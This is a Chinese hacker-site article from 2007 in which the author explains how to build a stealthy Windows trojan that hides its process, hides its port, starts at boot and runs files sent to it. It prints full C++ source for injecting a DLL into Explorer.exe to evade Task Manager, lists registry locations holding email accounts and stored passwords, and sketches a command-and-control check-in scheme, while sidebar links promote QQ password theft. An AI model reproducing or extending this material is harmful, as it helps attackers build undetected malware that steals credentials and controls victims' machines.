计算机网络安全资讯站点
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 技巧知识 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
用Visual C++编程窃取QQ密码
纯脚本套牢你的动态ip肉鸡
把被盗QQ号里的好友全部找回来
QQ原来隐藏着这么多秘密十二条
135批量抓肉鸡 批量开TELNET
通过命令限制上网用户的权限
DLL木马进程内幕大揭密
系统泄露密码入侵攻击分析
QQ的一些技巧
黑客窃取QQ常用密码排行榜
编程实例:木马编程相关杂谈
作者:佚名 来源:安全在线 更新时间:2007-7-27 1:23:47 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

我写了这样一个Windows下的程序,服务器端没有进程,没有端口,开机自动运行,可以接收客户端发来的文件并执行文件。只有不被发现的木马才能长寿。木马能接收文件并且执行文件,就可以干任何事。比如搜集系统的信息,只要传一个搜集系统信息的程序,并且执行。其他各种需要的功能也可以写成相应的程序,发送并且执行。
  隐藏进程
  也就是为了在Win2K中的 Windows 任务管理器中看不到。把木马程序做为别的进程中的一个线程运行,这样在 Windows 任务管理器的进程中就看不到了。要达到这个目的,最简单易用的方法就是把木马程序放在一个dll中,另有一个程序负责将这个dll注入到其他进程,比如Explorer.exe进程中。负责注入dll的程序先用VirtualAllocEx(hRemoteProcess,...)在目标进程中分配一块儿内存,用WriteProcessMemory向该内存中写入要注入的dll的路径和名称,然后利用CreateRemoteThread在目标进程中创建一个线程,这个线程执行LoadLibraryW,并以刚才弄好的那块内存中的dll的路径和名称为参数。这样就使dll载入了目标进程的地址空间,dll的载入将执行dll。这里只是大概的说,详细可以看Jeffrey Richter 的 《WINDOWS核心编程》第22章,讲的很清楚。而且有非常好的附书的程序做范例22-ImgWalk,22-InjLib。这本书有 pdf 格式的,在网上找找就可以下载到。我也给出一个自己写的说明这种隐藏方法的程序,相对来说更清楚,更容易看明白。两部分,负责注入的叫NoProcessExe.exe,被注入的dll叫做NoProcessDll.dll。NoProcessExe.exe负责把NoProcessDll.dll注入到Explorer.exe进程中,NoProcessDll.dll中的程序首先获得所在进程的pid,然后用MessageBox打印出来,以证明它是在Explorer.exe进程中运行的。注意一下NoProcessDll.dll,NoProcessExe.exe 要放在同一目录下。Win2K,VC6使用没问题。
  ____________________________________________________________________________________________
  //NoProcessExe
  #include
  #include
  #include
  #pragma comment (lib,"Advapi32.lib")
  int APIENTRY WinMain(HINSTANCE hInstance,
  HINSTANCE hPrevInstance,
  LPSTR lpCmdLine,
  int nCmdShow)
  {
  ////////////////////////////////////////////////////////////
  // 查找explorer.exe进程的pid //
  ////////////////////////////////////////////////////////////
  DWORD pid;
  HANDLE hSnapshot = NULL;
  hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
  PROCESSENTRY32 pe;
  pe.dwSize = sizeof(PROCESSENTRY32);
  Process32First(hSnapshot,&pe);
  do
  {
  if(strcmp(pe.szExeFile,"Explorer.exe")==0)
  {
  pid = pe.th32ProcessID;
  break;
  }
  }
  while(Process32Next(hSnapshot,&pe)==TRUE);
  CloseHandle (hSnapshot);
  ////////////////////////////////////////////////////////////
  // 把dll注入explorer.exe进程 //
  ////////////////////////////////////////////////////////////
  PWSTR pszLibFileRemote = NULL;
  HANDLE hRemoteProcess = NULL,hRemoteThread = NULL;
  hRemoteProcess = OpenProcess(
  PROCESS_QUERY_INFORMATION | // Required by Alpha
  PROCESS_CREATE_THREAD | // For CreateRemoteThread
  PROCESS_VM_OPERATION | // For VirtualAllocEx/VirtualFreeEx
  PROCESS_VM_WRITE, // For WriteProcessMemory
  FALSE, pid);
  char CurPath[256];
  GetCurrentDirectory(256,CurPath);
  strcat(CurPath,"\\NoProcessDll.dll");
  int len = (strlen(CurPath)+1)*2;
  WCHAR wCurPath[256];
  MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);
  pszLibFileRemote = (PWSTR)
  VirtualAllocEx(hRemoteProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);
  WriteProcessMemory(hRemoteProcess, pszLibFileRemote,
  (PVOID) wCurPath, len, NULL);
  PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
  GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
  hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0,
  pfnThreadRtn, pszLibFileRemote, 0, NULL);
  return 0;
  }
  ____________________________________________________________________________________________
  //NoProcessDll
  #include
  BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
  {
  char szProcessId[64];
  if (fdwReason == DLL_PROCESS_ATTACH)
  {
  //取得当前进程的pid,通过和 Windows 任务管理器中 的 pid
  //进行比较可以知道这个dll在哪个进程中运行。
  _itoa ( GetCurrentProcessId(), szProcessId, 10 );
  MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
  Sleep(1000);
  }
  HMODULE hDll;
  hDll=GetModuleHandle("NoProcessDll.dll");
  FreeLibrary(hDll);
  return TRUE;
  }
隐藏端口
  曾经考虑过使用SPI( Service Provider Interface )。SPI可以在 Windows Sockets 2 API 下面加一层,可以进行处理。也许可以很方便的实现端口的隐藏。关于SPI可以看msdn中的介绍。《WINDOWS网络编程技术》第14章也有介绍。但由于资料太少了,我也没有很多时间去研究,最后没有使用。最终我自己找到了一种方法,详细可以看我的另一篇文章《木马隐藏端口的一种方法》。
  开机自动运行
  通过注册表,实现开机自动运行。但决不是HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run和RunService 之类的。也不是文件类型关联。不会造成系统的负担。使用起来很舒服,知道的人应该不多吧。除非知道,否则很难找到并且删除它。是什么呢?呵呵,暂时保密。
  一些有用的注册表项和API
  计算机名
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
  CPU信息,Win2K下包括速度,型号,几块cpu。如果有多块儿会出现...\0,...\1等等
  HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
  outlook express 邮箱和用户名,0000000?根据情况。
  HKEY_CURRENT_USER\Software\Microsoft\Internet Account
  Manager\Accounts\00000001
  邮箱密码和ie浏览器自动完成密码存放地,可惜里面的东西是加密的,我这里找到了能从里面读出明文的程序,等有时间了会看看怎么弄,有知道的朋友麻烦您帮助一下我。
  HKEY_CURRENT_USER\Software\Microsoft\Protected Storage System Provider\
  获得计算机名,实际上就是从注册表里读。API: GetComputerName 判断计算机是否在线。API:InetIsOffline
  一些设想
  关于木马主机上线通知,我有一个设想。就是首先寻找几台,固定IP并且长时间在线的机器,然后写一个服务程序,让他们运行。其他主机一旦上线,就向某台主主机发送上线信息,如果发送没有收到回应,就向备用主机发送上线信息。而我们运行一个客户端,可以到那几台主机上取得上线信息。就是说,找到几台固定ip并且不下线的主机,让他们做我们的服务器,其他上线的时候,向这几台服务器发信息,服务器保存起来。我们想知道在线信息的时候随时可以去去。这些只是一些设想。

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2007 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    友情提示:建议使用IE6.0版本, 分辩率1024*768进行浏览
    中国安全在线 敢想 敢做 挑战自我 努力做最好
    中网科技有限公司 技术支持 鄂ICP备05006475号